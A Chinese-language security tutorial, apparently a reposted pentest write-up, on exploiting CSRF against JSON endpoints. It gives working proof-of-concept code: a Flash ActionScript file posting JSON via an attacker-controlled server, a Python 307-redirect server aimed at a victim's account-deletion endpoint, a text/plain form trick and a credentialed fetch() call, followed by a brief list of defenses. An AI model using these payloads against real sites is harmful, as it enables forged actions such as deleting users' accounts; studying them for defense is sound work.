如何在JSON端点上利用CSRF漏洞
字数 1234 2025-08-18 11:37:07
利用JSON端点中的CSRF漏洞技术分析
背景介绍
在渗透测试过程中,安全研究人员发现了一种特殊的CSRF(跨站请求伪造)漏洞,该漏洞存在于接收JSON格式POST请求的端点中。传统的CSRF利用方法无法直接应用于这种端点,因为:
- 需要发送JSON格式的POST body
- 需要设置自定义Content-Type头为
application/json - 标准HTML表单无法满足这些要求
传统CSRF利用的限制
传统CSRF PoC通常使用HTML表单提交数据:
<html>
<body onload=myform.submit()>
<form action="/userdelete" method="POST" name="myform">
<input type="hidden" id="acctnum" name="acctnum" value="100">
<input type="hidden" id="confirm" name="confirm" value="true">
</form>
</body>
</html>
这种方法有以下限制:
- 只能发送
application/x-www-form-urlencoded格式 - 无法设置自定义HTTP头
- 无法直接发送JSON格式数据
解决方案:Flash + HTTP 307重定向
技术原理
- Flash (ActionScript):可以设置自定义HTTP头并发送POST请求
- HTTP 307:临时重定向状态码,能保持原始请求方法和请求体不变
攻击流程
- 目标用户访问包含恶意Flash的页面
- Flash向攻击者控制的服务器发送POST请求(含JSON数据和自定义头)
- 攻击者服务器返回307重定向到目标站点
- 浏览器自动重定向请求到目标站点,保持JSON数据和
application/json头
具体实现步骤
1. 创建恶意Flash文件 (csrf.swf)
准备工作:
- 安装Flex SDK(需要32位JVM)
- 创建ActionScript文件
csrf.as
ActionScript代码:
package {
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;
public class csrf extends Sprite {
public function csrf() {
super();
var member1:Object = null;
var myJson:String = null;
member1 = new Object();
member1 = { "acctnum":"100", "confirm":"true" };
var myData:Object = member1;
myJson = JSON.stringify(myData);
var url:String = "http://attacker-ip:8000/";
var request:URLRequest = new URLRequest(url);
request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader:URLLoader = new URLLoader();
try {
urlLoader.load(request);
return;
} catch(e:Error) {
trace(e);
return;
}
}
}
}
编译命令:
mxmlc csrf.as
2. 创建重定向服务器
使用Python创建简单的HTTP服务器:
import BaseHTTPServer
import time
import sys
HOST = ''
PORT = 8000
class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(s):
if s.path == '/csrf.swf':
s.send_response(200)
s.send_header("Content-Type", "application/x-shockwave-flash")
s.end_headers()
s.wfile.write(open("csrf.swf", "rb").read())
return
s.send_response(307)
s.send_header("Location", "http://victim-site/userdelete")
s.end_headers()
def do_GET(s):
print(s.path)
s.do_POST()
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST, PORT), RedirectHandler)
print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)
3. 攻击流程
- 目标用户登录目标网站
http://victim-site/ - 用户访问攻击者控制的
http://attacker-ip:8000/csrf.swf - Flash文件加载并发送POST请求到攻击者服务器
- 服务器返回307重定向到
http://victim-site/userdelete - 浏览器自动重定向请求,保持JSON数据和
application/json头 - 目标用户的账户被删除
替代方案
如果服务器不严格检查Content-Type,可以使用以下方法:
1. 使用HTML表单和text/plain编码
<html>
<body>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form id="myform" enctype="text/plain" action="https://victim-site/userdelete" method="POST">
<input id="json" type="hidden" name='json' value='test"}'>
</form>
<script>
$(document).ready(function() {
$("#json").attr("name", '{"acctnum":"100","confirm":"true","a"')
$("#myform").submit()
});
</script>
</body>
</html>
2. 使用Fetch API
fetch('https://victim-site/userdelete', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({acctnum: "100", confirm: "true"}),
credentials: 'include'
});
防御措施
- 使用CSRF令牌:在请求中包含高强度随机令牌
- SameSite Cookie属性:设置Cookie的SameSite属性为Strict或Lax
- 验证Origin/Referer头:检查请求来源
- 避免GET请求修改状态:遵循RESTful设计原则
- 修复XSS漏洞:XSS可能绕过CSRF保护
参考资源
- OWASP CSRF防护指南
- GitHub项目:json-flash-csrf-poc
- Fetch API文档
通过这种技术组合,攻击者可以绕过JSON端点的CSRF保护,强调了全面安全防护的重要性。